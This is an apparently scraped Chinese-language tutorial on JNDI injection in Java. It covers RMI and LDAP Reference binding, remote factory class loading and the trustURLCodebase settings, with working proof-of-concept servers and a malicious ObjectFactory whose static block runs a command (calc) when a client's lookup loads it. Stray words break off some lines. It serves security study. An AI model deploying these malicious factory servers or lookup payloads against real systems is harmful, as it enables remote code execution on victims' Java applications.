命名系統是一組關聯的上下文,而上下文是包含零個或多個綁定的對象,每一個綁定都有一個原子名(實際上就是給綁定的對象起個名字,方便查找該綁定的對象), 使用JNDI的好處就是配置統一的管理接口,下層可使用RMI、LDAP或者CORBA來訪問目標服務java
要獲取初始上下文,須要使用初始上下文工廠node
好比JNDI+RMI安全
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:9999"); Context ctx = new InitialContext(env); //將名稱refObj與一個對象綁定,這裏底層也是調用的rmi的registry去綁定 ctx.bind("refObj", new RefObject()); //經過名稱查找對象 ctx.lookup("refObj");
好比JNDI+LDAP服務器
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); //經過名稱查找遠程對象,假設遠程服務器已經將一個遠程對象與名稱cn=foo,dc=test,dc=org綁定了 Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
可是如上雖然設置了初始化工廠和provider_url,可是JNDI是支持動態協議轉換的,經過使用上下文來調用lookup函數使用遠程對象時,JNDI能夠根據提供的URL來自動進行轉換,因此這裏的關鍵點就是lookup的參數可被攻擊者控制。app
在命名和目錄服務中綁定JAVA對象數量過多時佔用的資源太多,然而若是可以存儲對原始對象的引用那麼確定更加方便,JNDI命名引用就是用Reference類表示,其由被引用的對象和地址組成,那麼意味着此時被應用的對象是否是就能夠不必定要求與提供JNDI服務的服務端位於同一臺服務器。jvm
Reference經過對象工廠來構造對象。對象工廠的實際功能就是咱們須要什麼對象便可經過該工廠類返回咱們所須要的對象。那麼使用JNDI的lookup查找對象時,那麼Reference根據工廠類加載地址來加載工廠類,此時確定會初始化工程類,在以前的調JNDI payload的過程當中也和這文章講的同樣,打JNDI裏的三種方法其中兩種就是將命令執行的代碼塊寫到工廠類的static代碼塊或者構造方法中,那麼工廠類最後再構造出須要的對象,這裏實際就是第三種getObjectInstance了。ide
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference); ctx.bind("Foo", wrapper);
好比上面這三段代碼即經過Reference綁定了遠程對象並提供工廠地址,那麼當客戶端查找Foo名稱的對象時將會到工廠地址處去加載工廠類到本地。函數
從遠程加載類時有兩種不一樣級別:ui
1.命名管理器級別url
2.服務提供者(SPI)級別
直接打RMI時加載遠程類時要求強制安裝Security Manager,而且要求useCodebaseOnly爲false,直接打LDAP時要求com.sun.jndi.ldap.object.trustURLCodebase = true(默認爲false),由於這都是從服務提供者接口(SPI)級別來加載遠程類。
可是在命名管理級別不須要安裝安全管理器(security manager)且jvm選項中低版本的不受useCodebaseOnly限制
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName爲類名加上包名,FactoryClassName爲工廠類名而且包含工廠類的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
此時當客戶端經過lookup('refObj')獲取遠程對象時,此時將拿到reference類,而後接下來將去本地的classpath中去找名爲refClassName的類,若是本地沒找到,則將會Reference中指定的工廠地址中去找工廠類
RMIClinent.java
package com.longofo.jndi;
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }
RMIServer.java
package com.longofo.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 建立Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }
ExportObject.java
package com.longofo.remoteclass;
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; static { //這裏因爲在static代碼塊中,沒法直接拋異常外帶數據,不過在static中應該也有其餘方式外帶數據。沒寫在構造函數中是由於項目中有些利用方式不會調用構造參數,因此爲了方標直接寫在static代碼塊中全部遠程加載類的地方都會調用static代碼塊 try { exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); // throw new Exception(sb); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("333"); return null; } public ExportObject(){ System.out.println("222"); } }
此時服務端建立註冊表,此時將Reference對象綁定到註冊表中,此時
從上面的代碼中能夠看到此時初始化工廠後就能夠來調用遠程對象
此時由輸出也能夠看到此時觸發了工廠類的static代碼塊和構造方法以及getObjectInstance方法
在客戶端lookup處下斷點跟蹤也能夠去發現整個的調用鏈,其中getReference首先拿到綁定對象的引用,而後再經過getObjectFactoryFromReference從Reference拿到對象工廠,以後再從對象工廠拿到咱們最初想要查找的對象的實例。
LDAPSeriServer.java
package com.longofo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.IOException; import java.net.InetAddress; /** * LDAP server implementation returning JNDI references * * @author mbechler */ public class LDAPSeriServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) throws IOException { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.add("dn: " + "dc=example,dc=com", "objectClass: test_node1"); //由於LDAP是樹形結構的,所以這裏要構造樹形節點,那麼確定有父節點與子節點 ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: test_node3"); ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); //此子節點中存儲Reference類名 System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); //LDAP服務開始監聽 } catch (Exception e) { e.printStackTrace(); } } }
LDAPServer.java
package com.longofo;
import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.BasicAttribute; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import javax.naming.directory.ModificationItem; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Hashtable; public class LDAPServer1 { public static void main(String[] args) throws NamingException, IOException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); String javaCodebase = "http://127.0.0.1:8000/"; //配置加載遠程工廠類的地址 byte[] javaSerializedData = Files.readAllBytes(new File("C:\\Users\\91999\\Desktop\\rmi-jndi-ldap-jrmp-jmx-jms-master\\ldap\\src\\main\\java\\com\\longofo\\1.ser").toPath()); BasicAttribute mod1 = new BasicAttribute("javaCodebase", javaCodebase); BasicAttribute mod2 = new BasicAttribute("javaClassName", "DeserPayload"); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", javaSerializedData);
ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods); } }
LDAPClient.java
package com.longofo.jndi;
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient1 { public static void main(String[] args) throws NamingException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Context ctx = new InitialContext(); Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); } }
此時客戶端初始化上下文後就能夠去訪問ldap服務器上對應的記錄,記錄名爲uid=longofo,ou=employees,dc=example,dc=com ,那麼對應在服務端的命名空間中一定存在這條記錄,以及綁定的Reference對象。此時就能calc。